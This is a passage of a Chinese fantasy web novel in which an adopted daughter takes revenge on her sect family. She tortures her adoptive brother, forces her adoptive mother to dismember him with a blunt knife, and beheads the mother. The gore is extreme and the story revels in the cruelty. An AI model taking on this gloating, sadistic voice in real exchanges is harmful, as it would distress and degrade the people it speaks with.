白落笑着,说话格外客气,面相又人善,让李从霜心中的气微微削弱。 白落的话很有意思。 既安抚了李从霜,提及了两宗联姻,拉近关系,确认了程蕴知的地位。 但同时也在说一个道理,无定界的人,外人没资格管。 李从霜也冷哼着,客套回应。 程望气在心头,根本不想放过程今越,却被李从霜一把拉住。 这个蠢货,还想给她惹事。 “夫人,我早就听闻,这上古契约要想建立,怕还是要些时辰,不如我们找个地方先喝喝茶,聊聊天?” “话说……蕴知小姐呢?” 白落笑着拱手。 李从霜正要开口,何末却突然说道:“二小姐特地托我来传话,小姐已妆扮完毕,已在天极宫设宴等着诸位了。” 自从上次对程今越出手后,程蕴知几乎与李从霜断绝了关系。 拒绝与李从霜见面,也拒绝接李从霜的灵信,只要是她派来传信的弟子,都会被程蕴知杀了或者打残。 李从霜也知道程蕴知并不愿意嫁给萧极,说是妆扮,估计是在生闷气,连宫门都不愿意出。 如今愿意见人已经不错了,李从霜也不敢要求过多。 她按下心中的气,等今日过后,再找程今越算账也不迟。 “白长老请。” …… 众人至天极宫时,宫中早已备好宴席,李从霜心中一舒。 她就知道程蕴知是懂事的,程蕴知从来都是她最得意的作品,是比她这个废物儿子更有天赋继承大衍剑宗的存在。 可众人落座后,却依旧没有看到程蕴知人影。 “小姐说发髻还不甚满意,如今又去调整了。”程蕴知的贴身侍女在李从霜跟前跪着道。 李从霜对着白落哂笑,“小女倾心萧界主许多,才会如此在意。” 白落挥挥手,笑道:“无妨无妨。” 白落倒是格外善于交谈,李从霜对此人好感甚多,二人交谈甚多,时间悄然而逝。 程今越小心翼翼地坐在角落,低着头安安静静的,不敢多抬头一眼,实则都快打瞌睡了。 相谈甚欢,白落却突然道,“界主突然吩咐我去做事,李夫人,老夫只好失陪了。” 李从霜了然,唤人送客。 她的目光又再次落到了程今越的身上。 阴冷无比。 程望早就心中窝火,白落方一走,程望便瞬间站起身了,怒气冲冲,抓起桌子便往程今越身上扔。 “妈的,现在白落走了,我看谁还能护着你,程今越,老子弄死你!” 程望头上青筋暴起,像一条条扭曲的蚯蚓在皮肤下蠕动。 原本还算端正的五官,此刻因极度的愤怒而扭曲变形,像是择人而噬的野兽。 何末瞬间挡在程今越身前,碎掉那张桌子。 “三小姐小心。” 程望跟疯子一样,瞬间扑到程今越跟前,他双手猛地一挥,一巴掌就往程今越脸上挥。 何末瞬间挡在程今越身前,刹那之间,巨大的力量将何末拍至墙上。 力道之大,墙壁都要碎裂,何末整个人都嵌在了墙中,一口血从他口中喷涌而出。 “三小姐,快走……” 周围的人迅速跪下,没有一人敢抬头看,没人再敢担忧程今越,只乞求不要殃及他们。 “这么多人都愿意为你去死,你到底被多少人干过啊,程今越。” 他眯起双眸。 “贱货,我忍了好久,今天终于可以收拾你了,你和你的狗一起去死吧!” 程望拔出一旁的剑,狠厉地朝程今越刺去。 剑还未至。 众人却听见天地传来轰隆一声,大地在此刻仿佛在脚下颤抖战栗,只见天空瞬间变色,昏沉压抑,乌云如墨般涌动。 巨大的灵力如波纹一般蔓延开来,在场众人皆受伤而倒。 程望手中的剑被灵波打至地上,他吸着气觉得浑身疼痛。 他瞬间怒喊,“是谁?” 只见一道光柱从不远处升起,像一道开天辟地的神剑,将那厚重的云层瞬间斩裂。光芒之中,亮得刺眼。 众人愣神,瞬间抬头望去,是祭坛那边的动静! 李从霜瞬间心中一凉。 是祭坛那边出事了! 不好!不好! 但甚至没等她下一步动作,只听见轰鸣一声,虚空骤然炸开万丈金光,罡风顺势而起。 大衍剑宗七十二座仙峰震颤,原本隐形的护山大阵却在此时显现,八万四千道阵纹同时亮起,凝成横亘千里的青玉光幕。 这曾是大衍剑宗最厚实的底牌,最坚厚的屏障,此刻却在某种伟力挤压下扭曲出蛛网状裂痕。 李从霜愣住了。 不可能! 护山大阵怎么会碎掉! 可还没她想明白,她的身后便传来如银铃般清脆的笑声。 李从霜瞬间转头,却看到程今越抹掉眼泪,笑得前仰后合,柔弱的身躯微微颤抖。 众人都被灵波所伤,唯独她不受影响,她看到程今越笑盈盈地从身后拿出了一把刀。 第53章 魔头吗?她喜欢这个称呼。 李从霜心中一惊,随后厉声道:“程今越,你想要做什么!” 程望身形摇摇晃晃,却强撑着站了起来,双目赤红,程今越的笑已经让他彻底失去理智。 他猛地拿起地上的剑,怒吼一声,带着凛冽杀意,朝程今越狠狠刺去。 “老子弄死你,你这个贱人!” 程今越柳眉微挑,不闪不躲,她轻蔑一笑,手轻抬,拿着那把泛着寒光的利刃在她掌心一划,殷红的鲜血瞬间夺掌而出。 鲜血滴落在地面的瞬间,血如墨滴入汪洋,伴随着令人心悸的血腥气息迅速蔓延开来。 眨眼间,一道幽光冲天而起,众人随之抬头,只见穹顶之上的护山大阵如琉璃一般散落,而一个散发着暗红色光芒的结界拔地而起,结界壁上仍能看见有血液流淌,密密麻麻,像是会呼吸一样,如血脉一样迅速生长蔓延,将大半个天极宫笼罩起来。 穹顶闭合的那一瞬间,结界冲击出巨大的威压,程望感受到宛若他的全身都被挤压,像是一只蝼蚁,被人握在手中,被轻轻碾碎。 先是拿着剑的手,他听见骨头碎裂的清脆声,随后他剧烈的疼痛席卷而来,他看见他的手以狰狞而恐怖的模样被曲折。 一瞬间,血液从手臂奔涌而出,喷溅到他的脸上,身上,地面上,鲜艳如烟花。 “啊——” 他撕心裂肺地叫着,眼泪和鼻涕从他的五官里喷溅而出。 不只是程望,在场的其他人,全都被结界的威压按倒在地,修为低者瞬间被结界吸收,修为高者立马被碾成肉泥。 尖叫声与笑声混合在一起,像一场绝美的戏。 程今越清冷的脸笑着,眼神中闪烁着狡黠与阴鸷,她黑发随风飘逸,肌肤白皙,眉眼轻垂,在红光下显得神圣又诡异。 她笑得颤抖,像是在看一场滑稽的闹剧。 程今越用手捂住嘴,可笑声依旧从指缝间溢出。 “我想干什么?你不是早就猜到了吗?” 程今越笑着,她歪着头,无辜地看着李从霜。 “望儿!”李从霜惊喊着。 她不可置信地看着程望身上的伤,鲜艳的血液刺痛着她的眼眸。 她迅速上前抱住程望,脸色苍白,慌张失措。 程望想要开口,可喉咙却像是被一只无形的大手死死扼住,只能发出断断续续、含糊不清的嘶吼声。 眼泪混着血流到李从霜的手上。 李从霜怒吼一声,她瞬间抬头看着程今越。 “我就知道,我就知道,程今越,程今越!” 李从霜几乎无法相信眼前的这一切,她大口地呼吸着,胸膛剧烈地欺负,愤怒如同汹涌的潮水,将她整个人都淹没。 她死死地盯着程今越,要将她千刀万剐。 可是强大的威压让她无法动弹,甚至让她无法站立。 “我要杀了你,程今越,我就知道你狼子野心,欺心不轨!” 结界上的血从李从霜的皮肤中渗透而进,像是锐利的针一样,从她的皮肉穿进,再穿进她的五脏六腑,不断绞碎着她的血肉,痛苦的叫声从李从霜的喉咙里钻出。 可李从霜仍然手紧紧握着剑,愤怒让她强忍着疼痛,只是举着剑朝程今越刺去。 但李从霜的身体里已经全被操控与寄生了,她瞬间没有站稳,朝刺剑的方向狠狠扑倒,整个人都摔在地上。 她的体内早已血肉模糊,鲜血从她的鼻子、嘴巴、眼睛、耳朵挨着渗出,甚至还带着细小的肉末。 “怎么会这样……” “怎么会这样!” 程今越怎么会突然变得如此之强! 她不是一个灵根微弱的废物吗? 曾经高高在上的大衍剑宗的李从霜,剑道天才的李从霜,出身高贵的李从霜,颐指气使的李从霜,如今却浑身是血,满身灰土,跪倒在程今越身前。 “程今越,你这个贱人,我早就该杀了你!” “你真是好会装,好会演啊,你骗了所有人,可是就是骗不了我!” “我看你与我女儿年龄相仿,心善留下了你,我甚至那时想真心对你好。” “而我却发现你行为越发捉摸不透,越发诡异,剑宗内的怪事从你来过之后就再也没有停过。” “剑宗内几乎所有弟子都说你的好话。” “我那时就知道,你有问题。” “的确,你很聪明,程今越。” “你太善于伪装了,我有时候甚至也在怀疑我是不是错怪你了,你明明那么弱,根本不足以做出那些事情。” “你做得的确是滴水不漏,我甚至找不到任何确切的证据。” “我真的很想知道,你到底是怎么摆脱锁仙绳的惩罚?” 她撕心裂肺地叫着,强撑着用剑撑起身体,抬眸看着程今越。 泪与血在她的脸上混合着。 程今越低眸看着李从霜。 “你想知道?” 她停顿,将手放在嘴上思考着,随后又突然一笑。 “可惜,你没有知道真相的资格。” 李从霜也没打算从程今越嘴里得到答案。 她继续自顾自地大叫着。 “你谋划了多久呢?你其实从进入大衍剑宗的那一刻开始就已经在谋划这一件事情了吧。” “你真的貌若观音,心如毒蝎!” “你这个阴险狡诈的小人!” “你能有今天,我大衍剑宗对你功不可没!” “你被众人追杀,是我大衍剑宗接纳了你,帮你抵挡了仇家,帮你渡过难关。” “你身无依靠的时候,是我大衍剑宗给了你尊贵的三小姐的身份!” “你要帮助凡人,是为仙界不容,是我大衍剑宗默许了你的行为!” “你这大衍神女的名头,也是我剑宗心善才容许它存在!” 李从霜的手撑着剑,关节因为过度用力而泛白,手山治不受控制地在颤抖,愤怒使得她整个身体都在痉挛。 “而你呢?你却恩将仇报!” “程今越,你根本就不能算是人!” 程今越静静听着李从霜疯狂地大叫,她轻轻笑着,她蹙着眉,怜悯地看着对方。 她轻轻伸手,结界之中的血瞬间汇聚起来,纠缠攀爬在一起,凝结成血肉铸成的莲花座。 程今越轻轻坐上莲花座,鲜艳的血更衬得她肌肤如雪,眼神慈悲。 “是啊,你说得很对。” 她轻笑着,情绪没有丝毫被李从霜影响。 李从霜怒火攻心,可是她又突然想起来了什么,她会想起之前的种种,恍然大悟! “蕴知呢?” “她是不是根本就不在大衍剑宗,根本就不在天极宫!” “你把她怎么样了!” 程今越莞尔一笑,莲座将程今越带至李从霜身前,这样她便可以近距离地观赏李从霜的痛苦。 她眼眸一转,略作思考,恍若幼童一般,凑到李从霜的身前。 “你猜啊。” 李从霜怒火攻心,一口血从她口中喷出。 “你这个魔头!狼心狗肺,人面兽心!” “蕴知对你那么好,你却对她也下毒手!” “她明明无条件地相信你,她明明那么依赖你!” “她无论做什么都会想着你,有什么好东西都给你留着。” “她甚至愿意为了你与我作对!” “我的蕴知那么好,你却……” “你这个畜牲!” 李从霜的泪都要流干了,她整个人无助地抱着程望,看着血不断地从程望身上溢出。 “魔头吗?” “我喜欢你对我的称呼,的确很适合我。”她笑着。 “可是魔头可不仅仅做这些哦。” 程今越手又一挥。 结界之中的血犹如活过来一样,像蛇一样,逐渐缠住程望的身体。 程望疯狂摇着头,喉咙里发着呜咽声。 就像当时的锁仙绳一样,血绳死死勒着程望的身体,绳子腐蚀着程望的肌肤,空气中传来肉被烤焦的气息。 李从霜哭着看着程今越。 “住手!程今越!” “我这辈子最后悔的事情,就是心软了,没有杀掉你!” 程今越大笑着,她已经好久没有觉得这样开心过了。 愉悦充斥了她的全身。 李从霜越是骂她,她便越兴奋。 所有人做过的事都会在她的心中留下印记。 她悄悄将她的痛刻在心里。 每一寸伤她都记得,每一分痛她都记得。 她永远不会忘。 只要她活着,她就会还回去。 以眼还眼,以牙还牙。 “李从霜,你说这些话的时候,你自己信了吗?” “你想骗我,也首先要把自己骗了吧。” “你不觉得可笑吗?” “从我进入大衍剑宗的那一刻,你就已经帮我写好我的结局了吧。” “利用完我,你就要杀掉我了。” “哪里有什么情分,不过都是交易罢了。” “你提供给我的这些,不过是我们的契约罢了。” “我又何曾抱怨过我每七日便要放血做药的疼呢?” “这不过是我自己的选择罢了,我从不会对我的选择后悔。” “就像现在,我成为你口中的魔头,我也从不后悔。” 她笑着,嘴角上扬,一双眼睛黑黝黝的。 她懒散地撑着下巴,玩着手中这把刀。 突然对李从霜说,“母亲,我觉得你说得也有些道理。” 李从霜闻声瞬间警惕地抬眸。 “我进入剑宗以来,大家也的确对我多有照顾,今越铭记于心,日日夜夜不肯忘怀。” “如果没有母亲,没有父亲,没有兄长,没有姐姐,今越何以至今日呢?” 程今越说着,泪水又从眼眸中滚滚而下。 她将刀扔在李从霜面前,像是扔出了一根狗骨头。 “这样吧,母亲。” “我老实告诉你,程蕴知就在我的手里。” 程蕴知的模样瞬间在结界上以投影的方式展露出来。 画面中,程蕴知被捆绑着,发出呜呜的声音。 “现在,我们来玩一个游戏吧。” “我要一*个人的左手,程望与程蕴知,你只能选一个。” “选程蕴知的话,我帮你动手。” “当然,我有些贪心,或许就不知道会多卸下点什么。” “选程望的话,你亲自动手。” 她声音温柔,轻轻地笑着。 第54章 自食恶果。 结界中的血汇作一双大手,程今越懒散地倚靠着,头发随意散落,她肌肤苍白,带着病态的美。 李从霜疯狂地大叫着,“程今越,我杀了你,我杀了你,我杀了你!” 极端的痛苦让她疯狂大喊大叫着,泪涕横流,发簪散落,整个人狼狈不堪。 她跪在地上大声抽泣着,看着程望身上流不完的血。 恨意充斥她的大脑,无能为力又让她更加痛苦。 她第一次感受到绝望。 程今越歪头,只见灵幕中有了变化。 一把长剑出现在画面中,毫不留情地,砍掉程蕴知的左手,血液飞溅,喷射在画面中,程蕴知痛苦地嘶喊着,泪水肆意,残肢掉落在地上,静静的。 李从霜听不见灵幕中程蕴知的声音,只能看着曾经在她膝下听话又懂事的女儿浑身是血,痛苦挣扎,看着她大声嘶喊着,看着她被折磨着。 李从霜瞬间不能呼吸,她觉得自己的心仿佛被剜掉了一大块。 “程今越……” 她喉咙嘶哑得快说不出话。 程今越笑着,清脆的笑声回荡着,“哭?哭也算时间哦。” “你不做选择,那我就帮你做呀。” 她双眼无辜地抬着,双手撑着下巴,像孩童一样看着李从霜。 “你不得好死……”李从霜又骂道。 程今越摇摇头,结界中的血又化作一把刀猛烈地戳入程望的胸口,一刀、两刀、三刀,血液随着刺入不断迸溅。 李从霜看着程望的胸口变得血肉模糊。 “我错了,我错了,今越……” “我选,我选,我选,你停手,你停手……” 程今越摇摇头,“晚了。” 灵幕上又同样出现了一样的刀,一样地朝着程蕴知的胸口落下无数刀。 此刻李从霜能听到程蕴知的声音,“娘,救我……” “救我,救我!” 她听到程蕴知拼命地大喊着。 随之而来的是程望挣扎的声音,“娘,你救救我吧,娘!” 哭泣声与哀嚎声传遍李从霜的耳朵,她快要疯掉。 在鲜血与痛苦的打磨下,人的成长是很快的。 李从霜已经明白了。 她跪在程蕴知的身前,开始拼命地磕头。 “今越,今越,求您放过他们,算我求你了!” “我是畜生,我是贱人,我对不起你,我从前做了太多错事,我已经知道错了,你惩罚我吧!” “不,不,你杀了我,你想怎么对我都行,只要你放过他们!” “求你了,今越,求您,求您!” 程今越笑着,“母亲,我知道你是明事理的人。” “像这样的折磨,我曾经也受过的,不过是将我心授予诸位听罢了。” “曾经我也伤心过,绝望过,可是我也没有办法,那我又该如何做呢?” “那时我尚记得清楚,外面倾盆大雨,我被人刺了十几刀,浑身是血,我已穷途末路。” “可我没有任何办法,我应该怎么做呢?我的亲人都死了,世间独我一人。” 程今越静静地说着,在哭声中。 血绳仍在汲取着程望的血肉,捣毁他的五脏六腑,他疼得快叫不出声音。 程今越在这样的声音中继续讲着。 “于是我走到了一座庙前,这里供奉了一位菩萨。” “我从来是不信这些东西的,但是,我没有办法了,我想活着,于是我跪了下来。” “那时我说:‘菩萨菩萨,求您怜悯我吧,求您救赎我吧,求您可怜我吧,请救我于苦海中吧。’” “你猜,最后怎么样?” 程今越低着头,结界的血化作触手强硬地抬起李从霜的头,让那双充血的眼睛看着自己。 “我不知道……”李从霜摇摇头,血从她的嘴角流出。 “追杀我的人都死了,我得救了,是菩萨保佑了我。” 她双手合十,虔诚地向莫须有的神像拜着。 殿中血流成河,程今越身上却不染尘埃。 她低眉看着李从霜,眼中无限慈悲,微抿着嘴角,既亲近又疏离。 “所以从此以后,我也心中向善,我想做个好人。” “所以,我愿意再给你一次机会,给你一次祈求菩萨的机会。” 程望已经血肉模糊,肠子从破洞处滚落而出,李从霜连忙将它们塞回去。 李从霜听见程今越说的话,她两眼放光,她是个聪明人,她明白程今越的意思。 她从来一身傲骨,一生狂傲,从未将人的性命放在眼里的她,如今却咬着牙,死死抵着喉咙里的血,想着心中的恨。 “菩萨菩萨……求您怜悯我吧,求您救赎我吧,求您可怜我吧,请救我于苦海中吧。” 她学着程今越说的话,一遍又一遍,不断磕着头。 程今越摇摇头,“哪个菩萨,世间的菩萨有千千万啊……” 李从霜一口血又涌出。 程今越! 如果她能活下来,势必将程今越碎尸万段! “是大衍神女,神女殿下!求您怜悯我吧,求您救赎我吧,求您可怜我吧,请救我于苦海中吧。” 她跪下磕头,将额头都快要磕出血。 程今越却还是笑着。 血触手将程望也拉了起来,力气大到快要将他的手拉断。 触手扯着程望的头发,让他抬起头,看着程今越。 程望的声带已经被破坏了,血触手冲进程望的喉咙里,将喉咙里面的血块清理出来,重新成为他的声带。 程望终于能说话了。 他愤怒地望着程今越,“你这个……” 李从霜瞬间给了他一巴掌。 “闭嘴!” 血绳勒进他的骨头里,痛苦让他听话了起来。 李从霜明白程今越的意思。 “望儿,快说,快向神女殿下祈祷,快啊!” 程望哭着,颤抖着,血满全身的,曾经桀骜不驯的他跪下了。 “大衍神女在上,求您怜悯我吧,求您救赎我吧,求您可怜我吧,请救我于苦海中吧!” 一遍、两遍、三遍…… 程望将头磕破了,血都要流干了。 程今越才缓缓点头。 “会的,我会救你们于苦海中的。” “现在,母亲,你再次拥有了选择的权利。” “现在,我要一个人的右手。” “程望,或者,程蕴知。” 她笑着,看着李从霜做选择。 李从霜抬头。 为什么是这样? 她就知道程今越不会放过他们的! “别担心,蕴知对我很好,我也向菩萨许下了承诺,不会杀掉你们的。” “特别是你们曾经于我有恩。” “只要你完成了游戏,我就会放过你们的。” 李从霜心中一紧,她别无选择,她只能相信程今越的话。 程今越的灵根微弱,这样的状态她撑不了太久! 只要她忍住,坚持住,只要她撑到程旭过来,只要他撑到她的丈夫过来! 程望看着李从霜,“娘,选我,选我!” 他疯狂地哭着。 “娘!别选程望,选我啊!我不是你最爱的女儿吗?” 程蕴知也在哭喊着。 所有的声音都在李从霜耳边打转。 手心手背都是肉,程今越的心如此狠毒,她恨不得受伤的人是她! 她心一横,最终选择了程望。 人心从来都是偏的,一碗水是注定端不平的。 程望这副样子,估计也活不长了,李从霜明白,她需要保全一个人。 程蕴知起码现在状态看起来还不错。 “娘!不要!不要!” 李从霜捡起地上的刀,狠狠地扎在程望的右手。 “啊——” 痛苦的声音久绝。 可偏偏这把刀并不锋利,这是一把钝刀子。 要卸下程望的胳膊,会很费劲。 这把刀要在肉上割千万次。 李从霜哭着。 她闭着眼睛。 钝刀子割肉的触感从手掌一直传递到心头,恨意越来越深。 随着程望右手落下,李从霜如释重负。 她抬头看着程今越。 可是等来的却是下一句话。 “现在,我要一个人的右腿。” 李从霜选择了程望。 “左腿。” “右耳。” “左眼。” 程望最开始还在哀哭,最后便开始破口大骂,他生平听过的污言秽语,全都在此刻发挥了出来。 他先是骂程今越,随后又开始骂李从霜。 “程今越,你这个畜生!” “娘!我就知道你偏心!我就知道你更喜欢程蕴知那个蠢货!” 他快被割得没什么东西了,像一个怪物。但是他还是死不了,因为结界中的血代替他的器官活动着。 程望觉得自己要死了,他突然疯狂地笑着,剩下的眼珠子轱辘一转,盯着李从霜。 “哈哈哈……娘……” “其实我有件事我一直都想告诉你,我一直藏在心里,今天我终于可以说出来了,哈哈哈哈哈……” 他已经神识癫狂。 “程蕴知生下来就是天才,是未来世间绝顶的剑道魁首,可是,她为什么就偏偏在那一年,生了莫名其妙的重病,为什么就突然灵根被毁,为什么就突然陨落了呢?” 他又大笑起来。 李从霜心中一冷。 程望笑得狰狞,“你知道吗?” 李从霜手中的刀还没停。 “因为是我做的!” “是我做的!” “哈哈哈哈哈!” “为什么都是爹娘生的孩子,为什么她就那样天赋异禀,为什么她就能得到所有人的关注,为什么她就能高高在上!” “我不服!” 李从霜颤抖着,她看着眼前陌生的程望。 一巴掌扇在他的脸上。 “你疯啦?” “那是你的亲妹妹!” 程望已经不觉得痛了,“娘,这怪我吗?这本不怪我!” “这怪你和爹!全都怪你们!” “是你们偏心!你们偏心!” 程今越看着眼前的这出戏,甚是满意。 不过,她还是撒了谎。 当年菩萨并没有保护她。 而是她拿着刀,一刀一刀把对方杀掉的。 求神拜佛? 程今越心中冷笑。 她从来不信任何人事物。 她只相信自己。 第55章 苦果亦是果。 程今越一边听着耳边的惨叫辱骂声,一边盘算着时间。 萧极此刻应该还在和程旭和剑宗三十六长老鏖战。 纵使萧极有多厉害,但大衍剑宗也不是好对付的。 瘦死的骆驼比马大,若是几十人以死相逼,怕是也要损耗些时间和精力。 打起来吧,最好打得天昏地暗,打得你死我活。 最后全部都死了最好。 打完了,萧极也还要破解璇玑楼的珍宝。 璇玑楼可不仅仅是贮藏法器的地方,更是大衍剑宗护山大阵的根本,它位于大衍剑宗的正中央,位于祭坛之中。 程旭以三十六柄上古剑器为阵眼,搭建起牢不可破的护山大阵,为大衍剑宗提供庇护,吸收聚纳天地之灵气,这是大衍剑宗立宗之根本。 选在璇玑楼,可谓是体现了程旭对萧极的提防,这里可谓是大衍剑宗的根本,易守难攻。 璇玑楼中所有的阵法与法器都能被大衍剑宗的至亲的血脉强化,背靠璇玑楼,程旭格外放心。 所以程今越今日的任务就是引走能催动璇玑楼的人,也就是程望、程蕴知与李从霜。 白莲阵,便是萧极送给她的法阵。阵法会吸收阵中所有人的修为,在阵中,使用者可以拥有所有人的修为。专用来困住这几人。 这的确很适合程今越,萧极倒是格外贴心。 不过程今越偷偷加了些东西。 她偷了怀钰的一些血肉,加入了魔神血肉后,这个阵法便成了如今诡异又强大的模样。 跟她想要的一样。 程今越看着体无完肤的程望,又看了看狼狈不堪的李从霜。 最后一个要求已经完成,程望只剩下了一只眼睛和一条腿,像个可怖的怪物。 李从霜颤颤巍巍地抬起头,她扯着笑,脸上的血已经不知道是自己的还是程望的,血肉与零散的四肢稀稀拉拉地在一旁。 “神女殿下!我们已经完成了您的指示!” “神女大人,请救赎我们吧!” 她抬头看着程今越,眼睛红肿,期盼着,乞求着。 可程今越却只是一笑。 “好,那你杀了他,我就放你们走。” 李从霜却一愣,她表情扭曲,格外痛苦地又将表情凝结成笑,“可是……您不是答应了我们,不是说只要我照做了,您就放过我们吗?” “求您放过程望吧,求您了,求您了,好吗?” 李从霜泪水如决堤的洪水,哭声尖锐。 程今越缓缓叹气,嘴角却总是忍不住上扬。 力量总是让人上瘾又着迷,掌管他人生死的感觉太迷人了。 程今越从未如此渴望过一种东西。 看着恨的人痛苦,是多么一件兴奋的事情。 但是很可惜,她的时间不多了。 她要结束这场游戏了。 萧极对她格外提防,只告诉了程今越应该去做什么,却不告诉她缘由,将整个布局告诉程今越更是不可能。 但是程今越这一环节是极其重要的,程今越大概能猜出来。 此前,程今越按照萧极的吩咐,在宗门灵脉各节点布下了“逆灵阵”。 萧极以“上古婚仪”为由,要求开启剑冢祭坛完成契约。 而萧极带来的三千抬聘礼之中,有一玉匣,其中暗藏噬灵蛊。 它由萧极亲手炼制,除非修为高过萧极,便无人能知,无人能晓。 进入宗门时,为了收纳聘礼,程旭将会开启璇玑楼,而偏偏护山大阵所依赖的法宝都在璇玑楼中。 一旦三千聘礼进入璇玑楼,其中暗藏噬灵蛊的玉匣会与逆灵阵共鸣,瞬间破解护山大阵。 只要护山大阵破了,大衍剑宗的根基便不复存在。 而璇玑楼?萧极根本不放在眼里。 只要修为与力量到达一个巅峰的时候,一个人便可以忽视所有的常识与规则。 护山大阵一破,无定界的重兵将会进入大衍剑宗,新的结界将在这一瞬间建立,只要是在大衍剑宗内的生灵,只要是活的,就别想活着离开这里。 不过,可惜的是。 萧极不信任程今越,程今越也并不相信萧极。 程今越早就安排了怀钰接应她。 萧极忙碌于杀伐,重兵忙于对付弟子。 以怀钰的修为,想带她走,轻而易举。 “时间到了哦。” 程今越笑着,她拿着剑,一剑刺穿程望的心脏。 “我死了都不会放过你的,程今越……” 程望死了。 程今越笑着。 “好啊,那我就杀了一千次,一万次。” 长久积压的恨在这一刻慢慢消散,一种难以言喻的畅快瞬间传遍全身。 她舒展眉眼,脸上绽放出肆意又张狂的笑容。 笑声与李从霜的哭声交织在一起。 格外动听。 “哈哈哈哈——” 她捂着嘴大笑着,瘦弱的身子前仰后合。 一剑又一剑,她不断泄愤。 她将程望碎尸万段。 她踩上程望的头,狠狠碾碎。 她立在血泊之中,周身弥漫着令人胆寒的肃杀之气。 鲜血喷溅在她苍白的脸上,显得格外诡谲。菩萨般的脸却勾勒出一个张狂而扭曲的笑。 她露出一排整齐洁白的牙齿,恰似野兽在饱餐后的满足。 无数个日夜,她都在脑海中幻想这一刻,她在想自己到底会以怎样的方式复仇。 灭掉大衍剑宗,杀掉程望,杀掉李从霜。 就凭她吗? 她可以做到吗? 无数个被仇恨折磨得无法入眠的夜晚,如今都成为过去。 痛苦让程今越更能感受到自己的存在,让她不断地前进,永不停歇。 不只是大衍剑宗,所有阻拦她的人,都会去死。 杀了你们,杀了你们所有人。 谁怎么对她,她就要怎么还回去,所有伤过她的人,她全部都记得,她全部都要杀掉,杀掉! 无一例外! 程今越抬头,透过结界看着远处的山。 她要走,她要一步步往外走,她会踩着所有人的尸体,向上爬,不择手段地向上爬。 程今越又抬剑,指向李从霜。 “别杀我,别杀我,别杀我!” “我可以给你做事,我可以签下奴隶契,我可以帮你!” “我有很多很多功法,我有钱,我可以帮你!” “我只忠诚你一个人,别杀我,呜呜呜……” 程今越挥剑,可正要落到李从霜的头上时,一阵猛烈的冲击传来。 程今越瞬间抬头,看向力量来的方向。 她顿时怒气冲头。 是谁!是谁是谁! 到底是谁要阻拦她。 她心中疑惑。 萧极的人? 可他要她镇守的就是大衍剑宗的血脉几人,破掉结界对他有什么好处? 魔族的人? 更不可能。 看来是大衍剑宗的人了。 冲击越来越强,对方修为不低,程今越皱眉,她倒想看看是谁来送死了。 强大的冲击不断从外面一波一波打来,不断冲击着结界。 程今越灵根微弱,结界吸收的灵力也快要耗光,根本无法抵抗外界冲击。 反正这法器不是她的,碎了就碎了。 她直接将白莲阵献祭出去,吸收尽阵中所有灵力。 只见阵中所有血肉被吸收,最终化进程今越的灵根之中。 稳固的结界瞬间如琉璃一般,出现无数裂痕。 随着轰的一声巨响,结界轰然破碎。 李从霜骤然抬头,可在结界破碎的前一秒,程今越一剑砍掉了李从霜的头。 没有一丝犹豫,不给一点机会,没有一句废话。 干净利落。 强大的冲击力如飓风般席卷而来,她身形一震,整个人不受控制地被狠狠抛飞出去。 她拿着剑狠狠插入地面,带出刺耳的摩擦声,星火都被擦出,稳稳落在了地上。 但对方实力不弱,阵法破碎,使用阵的人也会遭到反噬。 一口鲜血从她口中猛地喷出,洒落在她那素白的衣衫上,洇出一朵朵触目惊心的血花。 浑身传来疼痛,但程今越的笑声却不绝于耳。 “哈哈哈哈——” 如云的乌发有些凌乱地披散在肩头,几缕发丝黏着鲜血贴在脸颊两侧,更添了几分诡异的美感。 她的身子看似柔弱,却挺得笔直,纤细的手指还紧握着那把仍在滴血的利刃,关节泛白。 她轻轻回眸,想看看身后的人是谁。 对方正拿着剑,一脸震惊地看着她。 程今越微微一愣。 “恩?” “是你啊,姐姐。” 程今越扔掉李从霜的头,伸手朝程蕴知打着招呼。 程蕴知正站在大殿门口,脸色苍白。 她们隔得很近,但又有些远。 程蕴知就站在那儿,只觉全身的血液都瞬间凝固,手脚一片冰凉。 她想要开口,喉咙却不知为何被堵塞。 程蕴知的嘴唇不受控制地颤抖着,双眼瞪得极大,满是不可置信与痛苦。 “不……不可能……” 她喃喃自语,声音微弱得几乎听不见。身体不受控制地摇晃起来,仿佛随时都会被一阵风刮倒。 “我不是都让你走了嘛,你怎么又回来了?” 程今越笑着,仿佛刚刚的一切都没有发生过。 孟朝没有接到程蕴知吗? 不是都走了,为什么会回来呢? 程今越不解。 她也很难过,她也很努力地让程蕴知活下去了,她明明这么做了这么艰难的决定。 可惜,程蕴知为什么不珍惜。 “是假的吧……小越……” “是谁逼你的吧……” “你告诉我……你告诉我!” “只要你说!我都信!我全都相信!我全都相信!” 程蕴知颤抖着,她很努力地在控制情绪,可是她做不到。 她亲眼看见程今越杀掉了母亲。 她的泪水不受控制地夺眶而出,大颗大颗地滚落,滴在满是血迹的地面上。 她好像已经听到了李从霜再对她说话。 “程蕴知,我早就告诉过你了!程今越她根本就是魔头,她居心不轨,她要杀了我们所有人!” “可你偏偏不听,你护着她!” “都是你害死了我们所有人!” 程蕴知都快要拿不动手中的剑,她跑回来是为了保护大家的,是为了保护小越的…… 可是为什么……为什么会这样? 她死死地看着程今越,想从她的嘴里得到想要的答案。 “你说啊!你说啊!” 她泪如雨下。 “我无话可说。” 程今越歪了歪头,笑着擦掉脸上的血,摊着手。 第56章 姐姐,恨比爱长久。 程蕴知猛烈地呼吸着,她看着熟悉的宫殿全是血迹,看着浑身是血的程今越,看着她从前最亲近,最信任的人。 她从未想过会有这一天。 风吹过地面,树叶从她们二人中间划过,像是一道分界线。 两人就这样看着对方,像从前很多次一样,就连宫殿的装潢都没有改变。 但程蕴知头一回觉得,程今越很陌生。 此处无人,但殿外都是杀伐的声音。 白莲阵隔绝了内外,阵外之人是无法看到阵内的状况的,如今白莲阵一破,程今越说话便要有顾忌了。 程今越用灵力感受着附近的气息,如她所料,无定界的人已经在来的路上了,不过是再呼吸几瞬,便会立马有无数双眼睛盯着程今越。 只要眼睛知道了,那萧极便一定会知道。 所以,她现在说的每一句话,都很重要。 程蕴知没有说话,她沉沉地呼吸着,程今越和她过去的回忆在脑海里不断浮现。 程今越也没有说话,她低着头,她在想,到底应该怎样杀掉程蕴知。 她需要维持好她的人设,不让萧极对她起疑心。 尽管程今越马上就要离开大衍剑宗了,在无定界眼皮子底下跑了,但是,她可不是自己溜走的。 一个柔弱、修为低下、被逼无路走上绝路,但还心存善念的程今越,怎么可能溜走呢? 她是被魔族之人抓走的。 就算要走,也要做得滴水不漏,不到最后一刻,程今越绝不暴露真实自我,绝不暴露任何底牌。 